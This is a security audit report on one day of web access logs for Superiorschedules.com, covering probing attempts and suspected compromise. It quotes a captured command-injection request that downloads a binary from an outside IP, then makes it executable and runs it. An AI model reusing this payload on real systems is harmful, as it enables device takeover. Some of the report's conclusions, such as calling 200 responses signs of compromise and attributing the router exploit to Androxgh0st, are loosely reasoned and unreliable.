Report Details

Company	Superior Schedules
Scope	Web Access Logs Audit
Date	May 3rd, 2024

Introduction

This report presents the findings of the audit conducted on the web access logs of Superiorschedules.com to assess potential probing activities and indicators of compromise. The aim is to determine if the website has been subjected to malicious probing or if there are signs of compromise by known threats like AndroxGh0st or SYSTEMBC.

Methodology

- Reviewed the web access logs for a one-day period, looking for known probing attempts and indicators of compromise for AndroxGh0st or SYSTEMBC exploits.
- Identified repetitive access to key pages, attempts to access sensitive files, and analyzed HTTP response codes.
- Looked for indicators such as unusual user agents, multiple failed requests, and repeated requests from the same IP address.

Results

Through the analysis of the Web Access Server Logs using AWStats, we found that there were several probing attempts, including various compromised areas of the network:

Web Access Logs Analysis:

- I used a web server log analysis tool, AWStats, to parse data and identify relevant information on the exploits. This included examining timestamps, IP addresses, requested URLs, HTTP methods, and response codes

Probing Activities:

- Multiple IP addresses accessed key pages such as index.php, signup.php, and Contact.php multiple times within a short timeframe
- Attempted access to sensitive files like .env and robots.txt (common targets for information disclosure or misconfiguration issues)
- Requests with status codes 400, 403, and 404 were observed, indicating bad request, not found, and forbidden request
    - **206.189.134.144** attempted to access */elmah.axd*, which is commonly targeted by attackers. It received a 404 response code, but is likely a probing attempt.
    - **185.224.128.34** appeared to be probing for CGI vulnerabilities by trying to execute commands in the locale parameter of a CGI script.

Indicators of Compromise:

- Requests with unusual user agents like "CensysInspect" and "SemrushBot," suggesting automated scanning or reconnaissance tools.
- Requests with status codes like 200 OK (Successful Request) and 301 (Moved Permanently), potentially indicate attempts to exploit known vulnerabilities or misconfigured server settings
- Multiple requests from the same IP address to different URLs within a short timeframe, possibly indicating automated scanning or scripted attacks.

I did find specific areas of vulnerability and compromise, particularly through Androxgh0st, a Python-script malware, to target victim files. The log entry with the IP address **185.224.128.34** and the user agent **"Root Slut"** appears to be attempting to exploit a vulnerability in the server. The request is trying to access a URL that includes commands to execute on the server:

GET/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1

This request includes commands to download and execute a script from a remote location. This is only one example of many different scripts that have been used to breach the website's information security and to compromise the server.

Risk Analysis

The discovery of specific vulnerabilities exploited using Androxgh0st, such as the attempt to execute commands on the server via the GET request from user “Root Slut”, significantly increases the quantitative risk to the firm. With successful exploitation, the potential financial impact of a breach can escalate rapidly. This includes costs associated with extended downtime, data exfiltration, regulatory fines, legal fees, and reputational damage. Additionally, the use of multiple scripts to compromise the server indicates a persistent and evolving threat, further amplifying the risk of financial losses.

Qualitatively, the discovery of specific vulnerabilities exploited by Androxgh0st underscores the severity of the risk to the firm's operations, reputation, and stakeholder trust. The provided examples and evidence of probing demonstrates intent of malicious actors to gain unauthorized access and potentially compromise sensitive data or disrupt services. This incident highlights the presence of sophisticated and targeted attacks against the firm's infrastructure, posing a significant threat to its information security posture. Moreover, the use of various scripts indicates a proactive effort by attackers to adapt and evade detection, meaning you are dealing with an evolving threat.

Recommendations

The firm should prioritize investment in security measures to prevent successful exploitation and mitigate the potential financial impact of a breach. The qualitative risk of reputational damage, loss of customer trust, and regulatory repercussions is heightened. This necessitates immediate action to address vulnerabilities and strengthen security defenses.

Further investigation and action are necessary to safeguard the organization's assets, protect customer data, and maintain trust in Superiorschedules.com.

We recommend the following actions:

- Implement proactive security measures such as firewalls, intrusion detection systems, and regular security audits to detect and prevent potential compromises.
- Update and patch all software to address known vulnerabilities and minimize the risk of exploitation.
- Establish incident response procedures to respond effectively to any security incidents and mitigate their impact on the organization.
- Enhance user awareness and training to educate employees about common attack vectors and security best practices.